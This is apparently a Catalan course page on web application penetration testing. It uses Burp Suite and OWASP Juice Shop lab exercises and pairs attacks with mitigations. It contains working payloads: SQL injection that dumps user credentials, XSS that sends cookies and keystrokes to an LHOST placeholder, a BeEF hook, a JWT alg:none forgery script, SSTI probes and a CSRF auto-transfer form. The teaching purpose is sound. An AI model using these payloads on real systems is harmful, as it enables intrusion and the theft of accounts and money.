Salta el contingut

Hacking d'Aplicacions Web

Introducció

El pentesting d'aplicacions web (Web Application Penetration Testing) és una de les especialitats més demandades en ciberseguretat. Les aplicacions web son el vector d'atac principal en la majoria d'incidents de seguretat moderns, ja que estan exposades directament a Internet i gestionen dades sensibles.

La metodologia segueix el framework OWASP Testing Guide v4.2 (la guia de referència internacional):

flowchart TD
    INFO[Recollida d'informació\nTecnologies, directoris, endpoints]
    AUTH[Proves d'autenticació\nForça bruta, bypass, JWT]
    SESSION[Gestió de sessions\nCookies, tokens, CSRF]
    INPUT[Validació d'entrades\nSQLi, XSS, XXE, SSTI]
    AUTHZ[Autorització\nIDOR, broken access control]
    CRYPTO[Criptografia\nTLS, hashing, secrets exposats]
    BUSINESS[Lògica de negoci\nRace conditions, price manipulation]

    INFO --> AUTH --> SESSION --> INPUT --> AUTHZ --> CRYPTO --> BUSINESS

Burp Suite - La Navalla Suïssa del Web Hacking

Burp Suite és el proxy d'intercepció per excel·lència. Permet interceptar, analitzar i modificar tot el tràfic HTTP/HTTPS entre el navegador i l'aplicació web.

Configuració inicial

1. Obrir Burp Suite Community Edition (gratuït)
2. Proxy → Proxy Settings → confirmar port 8080
3. Firefox: Preferences → Network → Proxy manual → HTTP: 127.0.0.1:8080
4. Accedir a http://burp → Download CA Certificate
5. Firefox: Preferences → Certificates → Import → Marcar com a CA de confiança
6. Activar intercepció: Proxy → Intercept → Intercept is ON

Funcionalitats principals

Proxy:      Interceptar i modificar peticions HTTP en temps real
Repeater:   Re-enviar peticions modificades manualment
Intruder:   Atacs automatitzats (força bruta, fuzzing)
Scanner:    Escaneig de vulnerabilitats (ÚNICAMENT versió Pro)
Decoder:    Codificar/descodificar URL, Base64, HTML, etc.
Comparer:   Comparar dos respostes per trobar diferències

SQL Injection (SQLi)

Detecció manual

# En qualsevol camp d'entrada, provar:
'               → Error SQL (apostrophe injection)
''              → Apostrophe escapada (sense error = possible protecció)
1 OR 1=1        → Condició sempre verdadera
1 AND 1=2       → Condició sempre falsa

# URL: http://app.cat/user?id=1
# Provar: id=1' → error? id=1' OR '1'='1 → diferent resultat?

SQLi basada en errors

-- SQL injection que extreu informació via errors
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()))) --
-- Mostra la versió de MySQL en el missatge d'error

-- Exemple complet (MySQL):
' UNION SELECT NULL,NULL,NULL --          -- Determinar nombre de columnes
' UNION SELECT 1,user(),database() --     -- Usuari i base de dades
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables
  WHERE table_schema=database() --         -- Llistar taules
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns
  WHERE table_name='users' --              -- Columnes de la taula users
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --  -- Dades

SQLi Time-Based (cega)

Quan l'aplicació no retorna errors ni diferències visibles:

-- Comprovar si la BBDD és vulnerable (esperar 5 segons):
' AND SLEEP(5) --
1; WAITFOR DELAY '0:0:5' --   (SQL Server)
' AND (SELECT * FROM (SELECT SLEEP(5))a) --

-- Extreure informació caracter a caracter:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
-- Si dorm 5 segons → primer caràcter = 'a'
-- Si no dorm → primer caràcter ≠ 'a'

Mitigació SQLi

# ❌ Vulnerable
def get_user(user_id):
    query = f"SELECT * FROM users WHERE id = {user_id}"
    cursor.execute(query)

# ✅ Segur: parameterized queries
def get_user(user_id):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# ✅ Segur: ORM (SQLAlchemy)
user = db.session.query(User).filter_by(id=user_id).first()

# ✅ Segur: Stored procedures
cursor.callproc('get_user_by_id', (user_id,))

Cross-Site Scripting (XSS)

Tipus de XSS

Reflexiu: el payload es reflecteix immediatament en la resposta. Emmagatzemat: el payload es guarda al servidor i s'executa per a tots els usuaris. DOM-based: la manipulació es fa al DOM del navegador (sense passar pel servidor).

// Payloads XSS per a proves en entorns controlats

// Bàsic
<script>alert(document.domain)</script>

// Robar cookies (demo - en el lab propi)
<script>
  new Image().src = 'http://LHOST/?c=' + btoa(document.cookie)
</script>

// Keylogger (demo)
<script>
  document.onkeypress = function(e) {
    new Image().src = 'http://LHOST/?k=' + String.fromCharCode(e.which)
  }
</script>

// Bypass de filtres comuns
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>
javascript:alert(1)

// DOM XSS (manipulació del DOM sense escriptura al servidor)
# URL: http://app.cat/#<img src=x onerror=alert(1)>
# Si JavaScript usa: document.location.hash  vulnerable

BeEF - Browser Exploitation Framework

# BeEF permet controlar navegadors que han executat XSS
docker run -d \
  --name beef-NOMCOGNOM \
  -p 3000:3000 \
  -p 6789:6789 \
  jbarcia/beef

# Accedir a http://localhost:3000/ui/panel
# Usuari/contrasenya: beef/beef

# Payload XSS que connecta el navegador a BeEF:
<script src="http://LHOST:3000/hook.js"></script>

Miniactivitat

En el Juice Shop del laboratori, identifica el repte de "DOM XSS" i executa-lo. Observa:

  1. En quin camp HTML es reflecteix el payload?
  2. Usa les DevTools del navegador per a localitzar el codi JavaScript vulnerable
  3. Quina funció de JavaScript és la responsable de la vulnerabilitat?

Autenticació Trencada

IDOR - Insecure Direct Object Reference

# Exemple: l'aplicació usa IDs numèrics seqüencials
GET /api/user/profile/1234        → El meu perfil
GET /api/user/profile/1235        → Perfil d'un altre usuari! (IDOR)

# La validació d'autorització ha de ser:
# "L'usuari autenticat pot accedir a l'objecte 1235?"
# No sols: "L'objecte 1235 existeix?"
# ❌ Vulnerable a IDOR
@app.route('/api/user/profile/<int:user_id>')
@login_required
def get_profile(user_id):
    return User.query.get(user_id)  # No verifica si l'usuari logat pot llegir user_id

# ✅ Segur: verificar que l'usuari logat és el propietari
@app.route('/api/user/profile/<int:user_id>')
@login_required
def get_profile_safe(user_id):
    if current_user.id != user_id and not current_user.is_admin:
        abort(403)
    return User.query.get(user_id)

JWT Attacks

# Eines per a analitzar i manipular tokens JWT
docker run --rm \
  --name jwt-NOMCOGNOM \
  python:alpine bash -c "
  pip install PyJWT -q

  # Decodificar un JWT (sense verificar signatura)
  python3 -c \"
import base64, json

token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9hbiIsInJvbGUiOiJ1c2VyIn0.XXXXX'
header, payload, sig = token.split('.')

def b64_decode(s):
    return base64.urlsafe_b64decode(s + '==').decode()

print('Header:', json.loads(b64_decode(header)))
print('Payload:', json.loads(b64_decode(payload)))
\"
"

# Atac JWT: alg:none (si l'aplicació accepta JWT sense signatura)
# Pas 1: Decodificar el JWT original
# Pas 2: Canviar el payload (ex: role: admin)
# Pas 3: Canviar alg a "none"
# Pas 4: Enviar sense signatura
python3 -c "
import base64, json

header = json.dumps({'alg': 'none', 'typ': 'JWT'})
payload = json.dumps({'user': 'admin', 'role': 'admin'})

def b64_encode(s):
    return base64.urlsafe_b64encode(s.encode()).rstrip(b'=').decode()

token = f'{b64_encode(header)}.{b64_encode(payload)}.'
print(f'Token manipulat: {token}')
"

Server-Side Template Injection (SSTI)

# SSTI afecta aplicacions que usen templates (Jinja2, Twig, FreeMarker)

# ❌ Vulnerable (Flask/Jinja2)
@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    # Renderitza el nom DIRECTAMENT en el template
    return render_template_string(f'Hola, {name}!')
    # Input: {{7*7}} → Hola, 49!  → SSTI confirmat!

# Payloads SSTI Jinja2
{{7*7}}                                    # Confirmar SSTI
{{config}}                                 # Configuració de Flask (secrets!)
{{request}}                                # Objecte request
{{''.__class__.__mro__[1].__subclasses__()}} # Accés a subclasses Python
# Eines per a SSTI
docker run --rm \
  --name tplmap-NOMCOGNOM \
  kalilinux/kali-rolling bash -c "
  apt-get install -y python3-pip -qq &&
  pip install tplmap -q &&
  tplmap -u 'http://TARGET/?name=*'
"

CSRF - Cross-Site Request Forgery

<!-- Atac CSRF: enganyar l'usuari per a executar accions no desitjades -->
<!-- Pàgina maliciosa que envia una petició a la banca de l'usuari: -->

<html>
  <body onload="document.forms[0].submit()">
    <!-- L'usuari ha d'estar logat a banc.cat -->
    <form action="https://banc.cat/transfer" method="POST">
      <input type="hidden" name="to" value="ATTACKER_ACCOUNT">
      <input type="hidden" name="amount" value="10000">
    </form>
  </body>
</html>
# Mitigació CSRF: tokens CSRF (Flask-WTF)
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)
# Cada formulari necessita: <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# El token és únic per sessió i caduca → l'atacant no pot falsificar-lo

Exercici pràctic amb Juice Shop

Realitza les categories de reptes d'OWASP Juice Shop relacionades amb injecció i autenticació:

  1. Injection: Tots els reptes SQLi (★★ i ★★★)
  2. Broken Authentication: Login Admin, Login Jim, Login Bjoern
  3. XSS: DOM XSS, Reflected XSS, Persistent XSS
  4. IDOR: Access Someone Else's Basket

Per cada repte completat: - Documenta el payload usat - Explica la vulnerabilitat tècnica (CWE) - Proposa la mitigació

Lliura el document hacking_web_NOMCOGNOM.md amb captures de pantalla de cada repte resolt.